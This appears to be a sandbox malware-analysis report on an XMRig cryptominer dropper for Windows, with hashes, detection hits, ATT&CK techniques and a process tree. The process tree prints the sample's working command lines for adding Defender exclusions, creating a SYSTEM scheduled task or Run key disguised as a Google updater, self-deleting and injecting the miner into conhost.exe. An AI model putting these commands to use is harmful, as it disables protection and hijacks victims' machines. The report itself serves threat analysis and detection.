xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
448s
max time network
1797s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Size 2.0MB
Sample240123-x59d7agbd6
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2352 created 1144	2352	6aNn9vLJCQVfagSE.exe	20
PID 2352 created 1144	2352	6aNn9vLJCQVfagSE.exe	20
PID 2352 created 1144	2352	6aNn9vLJCQVfagSE.exe	20
PID 2352 created 1144	2352	6aNn9vLJCQVfagSE.exe	20
PID 1044 created 1144	1044	updater.exe	20
PID 1044 created 1144	1044	updater.exe	20
PID 1044 created 1144	1044	updater.exe	20
PID 1044 created 1144	1044	updater.exe	20
PID 1456 created 1144	1456	conhost.exe	20
PID 1044 created 1144	1044	updater.exe	20

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral3/memory/1908-70-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1908-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2588	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1044	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1692	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/memory/1908-64-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1908-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1044 set thread context of 1456	1044	updater.exe	50
PID 1044 set thread context of 1908	1044	updater.exe	52

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	6aNn9vLJCQVfagSE.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2848	schtasks.exe
2312	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1696	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f0b9ea173c4fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2352	6aNn9vLJCQVfagSE.exe
2352	6aNn9vLJCQVfagSE.exe
1824	powershell.exe
2352	6aNn9vLJCQVfagSE.exe
2352	6aNn9vLJCQVfagSE.exe
2724	powershell.exe
2352	6aNn9vLJCQVfagSE.exe
2352	6aNn9vLJCQVfagSE.exe
2352	6aNn9vLJCQVfagSE.exe
2352	6aNn9vLJCQVfagSE.exe
2840	powershell.exe
1044	updater.exe
1044	updater.exe
768	powershell.exe
1044	updater.exe
1044	updater.exe
2176	powershell.exe
1044	updater.exe
1044	updater.exe
1044	updater.exe
1044	updater.exe
1456	conhost.exe
1456	conhost.exe
1044	updater.exe
1044	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1824	powershell.exe
Token: SeDebugPrivilege	2724	powershell.exe
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeDebugPrivilege	768	powershell.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	1044	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1696	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1696	WMIC.exe
Token: SeSecurityPrivilege	1696	WMIC.exe
Token: SeTakeOwnershipPrivilege	1696	WMIC.exe
Token: SeLoadDriverPrivilege	1696	WMIC.exe
Token: SeSystemtimePrivilege	1696	WMIC.exe
Token: SeBackupPrivilege	1696	WMIC.exe
Token: SeRestorePrivilege	1696	WMIC.exe
Token: SeShutdownPrivilege	1696	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1696	WMIC.exe
Token: SeUndockPrivilege	1696	WMIC.exe
Token: SeManageVolumePrivilege	1696	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1696	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1696	WMIC.exe
Token: SeSecurityPrivilege	1696	WMIC.exe
Token: SeTakeOwnershipPrivilege	1696	WMIC.exe
Token: SeLoadDriverPrivilege	1696	WMIC.exe
Token: SeSystemtimePrivilege	1696	WMIC.exe
Token: SeBackupPrivilege	1696	WMIC.exe
Token: SeRestorePrivilege	1696	WMIC.exe
Token: SeShutdownPrivilege	1696	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1696	WMIC.exe
Token: SeUndockPrivilege	1696	WMIC.exe
Token: SeManageVolumePrivilege	1696	WMIC.exe
Token: SeLockMemoryPrivilege	1908	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2724 wrote to memory of 2848	2724	powershell.exe	32
PID 2724 wrote to memory of 2848	2724	powershell.exe	32
PID 2724 wrote to memory of 2848	2724	powershell.exe	32
PID 2588 wrote to memory of 2656	2588	cmd.exe	35
PID 2588 wrote to memory of 2656	2588	cmd.exe	35
PID 2588 wrote to memory of 2656	2588	cmd.exe	35
PID 2840 wrote to memory of 1544	2840	powershell.exe	39
PID 2840 wrote to memory of 1544	2840	powershell.exe	39
PID 2840 wrote to memory of 1544	2840	powershell.exe	39
PID 1692 wrote to memory of 1044	1692	taskeng.exe	40
PID 1692 wrote to memory of 1044	1692	taskeng.exe	40
PID 1692 wrote to memory of 1044	1692	taskeng.exe	40
PID 2176 wrote to memory of 2312	2176	powershell.exe	45
PID 2176 wrote to memory of 2312	2176	powershell.exe	45
PID 2176 wrote to memory of 2312	2176	powershell.exe	45
PID 1044 wrote to memory of 1456	1044	updater.exe	50
PID 1560 wrote to memory of 1696	1560	cmd.exe	53
PID 1560 wrote to memory of 1696	1560	cmd.exe	53
PID 1560 wrote to memory of 1696	1560	cmd.exe	53
PID 1044 wrote to memory of 1908	1044	updater.exe	52

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1144
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2848
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2840
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2176
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2312
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1552
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1560
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1696
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1456
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1908

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2656

C:\Windows\system32\taskeng.exe
taskeng.exe {CEB973C3-215C-48D5-9608-F9690067D45B} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 144KB
SHA256 27c8d16bd16426a611767ea2cdcea86de41cd6e1b707c978b98fae8246a329e6
MD5 b6cf5fc9adcb70cac7aeacaea510554f
SHA1 2c77fa764a530abcb8bfc4543bd4045ee5212fe6
SHA512 1c6f51fcb238af770138d04314be94b8b01e58d2a8e556b3b72e5a50ea07935bbc6a87fd22b182d9ea6215dd525331d6d6e6feda60447aec6485cff28f32b9b9
SSDEEP 3072:L3zjTv46w/ZUFO5TbwWpUt1D995tbq56k6hyqYvii:L3zjTg6uUuViDX5Q6k6hyqsx
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 108KB
SHA256 220420b3f9aa87056e2363d8f7730073b588ba8341b39861962bdec05046d086
MD5 2e1e499242596502af1251d7de8ee166
SHA1 031dbcf5236e756bed3c4068ba20bd575c89fc0a
SHA512 ab3da87f4e4b15a2b33efbfd6bc1d0d38ca2223d1a9e286d7a25392c93c066915491297ab3dcfcdd48248c0627cbdbe6ace1be9cdc02764c8916b089d88f9753
SSDEEP 1536:L3zCarzIpyj5pLauwYY94E6w/oBKKwURaOO5FFbMVbEP3XpZlTAt1n/78qUlI19x:L3zjTv46w/ZUFO5TbwWpUt1D995/
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 47e4ff42b1eac1681fdef1f09c352a82e905c1476dff4fcb72f7c2bb0973aef0
MD5 ba9f13a095833ab8f85ee3df62a2281c
SHA1 688037364441d296d5531402452d92fe1d9c87f3
SHA512 7400c0073274e00050ebfe093a32601eac7ef01d2218e8dfa99a39d6bf020508fb589b59b42ccce90a51fcb050ebb7c1169a5c90de51f0187f8a53a12327523e
SSDEEP 96:gBX2C1M8rnqvsqvJCwo8BX2C1M8rnqvsEHyqvJCworltxiQHoa7qVXlUVP:Q7nUok7nAHnorl+la7qVg
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 104KB
SHA256 2e799d1938ad1ba5674de3598f5e8383394aa9f31faa0b6547523cf9ab02b075
MD5 f96f91219b27cebf701b2c95cd4585b7
SHA1 03483026a04854c03eff834e7eccf179f578aeaf
SHA512 d83278572bf7ab3d9674342237d664930ffbf7b008136e40f55b1b08e5f8a554999666b59a207e78faec653da88e40057793ae2affe26befeeb98f2fd07ad81a
SSDEEP 1536:L3zCarzIpyj5pLauwYY94E6w/oBKKwURaOO5FFbMVbEP3XpZlTAt1n/78qUlI19M:L3zjTv46w/ZUFO5TbwWpUt1D995q
MD5 SHA1 SHA512 SSDEEP

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memory/768-45-0x0000000001630000-0x00000000016B0000-memory.dmp

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memory/768-44-0x000007FEF4F10000-0x000007FEF58AD000-memory.dmp

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memory/768-48-0x0000000001630000-0x00000000016B0000-memory.dmp

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memory/768-49-0x000000000163B000-0x00000000016A2000-memory.dmp

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memory/768-47-0x0000000001634000-0x0000000001637000-memory.dmp

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memory/768-50-0x000007FEF4F10000-0x000007FEF58AD000-memory.dmp

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memory/768-46-0x000007FEF4F10000-0x000007FEF58AD000-memory.dmp

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memory/1044-66-0x000000013F630000-0x000000013F841000-memory.dmp

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memory/1044-43-0x000000013F630000-0x000000013F841000-memory.dmp

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memory/1456-69-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1456-75-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1824-12-0x000007FEF58B0000-0x000007FEF624D000-memory.dmp

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memory/1824-9-0x000007FEF58B0000-0x000007FEF624D000-memory.dmp

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memory/1824-10-0x0000000002A80000-0x0000000002B00000-memory.dmp

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memory/1824-11-0x0000000002A80000-0x0000000002B00000-memory.dmp

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memory/1824-8-0x0000000002A80000-0x0000000002B00000-memory.dmp

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memory/1824-7-0x000007FEF58B0000-0x000007FEF624D000-memory.dmp

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memory/1824-6-0x0000000001D50000-0x0000000001D58000-memory.dmp

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memory/1824-5-0x000000001B570000-0x000000001B852000-memory.dmp

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memory/1908-84-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-98-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-128-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-126-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-124-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-122-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-120-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-118-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-116-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-114-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-112-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-110-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-108-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-106-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-104-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-102-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-100-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-96-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-64-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-65-0x00000000000B0000-0x00000000000D0000-memory.dmp

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memory/1908-94-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-92-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-90-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-88-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-67-0x0000000000170000-0x0000000000190000-memory.dmp

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memory/1908-68-0x0000000000150000-0x0000000000170000-memory.dmp

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memory/1908-86-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-70-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-72-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-73-0x0000000000170000-0x0000000000190000-memory.dmp

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memory/1908-74-0x0000000000150000-0x0000000000170000-memory.dmp

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memory/1908-82-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-76-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-78-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1908-80-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2176-57-0x000007FEF58B0000-0x000007FEF624D000-memory.dmp

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memory/2176-53-0x000007FEF58B0000-0x000007FEF624D000-memory.dmp

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memory/2176-55-0x00000000012E0000-0x0000000001360000-memory.dmp

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memory/2176-56-0x00000000012EB000-0x0000000001352000-memory.dmp

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memory/2176-52-0x00000000012E0000-0x0000000001360000-memory.dmp

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memory/2176-51-0x000007FEF58B0000-0x000007FEF624D000-memory.dmp

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memory/2176-54-0x00000000012E4000-0x00000000012E7000-memory.dmp

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memory/2352-0-0x000000013FAB0000-0x000000013FCC1000-memory.dmp

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memory/2352-27-0x000000013FAB0000-0x000000013FCC1000-memory.dmp

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memory/2724-21-0x0000000001EB0000-0x0000000001EB8000-memory.dmp

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memory/2724-25-0x000007FEF4F10000-0x000007FEF58AD000-memory.dmp

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memory/2724-18-0x000000001B500000-0x000000001B7E2000-memory.dmp

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memory/2724-20-0x00000000029D0000-0x0000000002A50000-memory.dmp

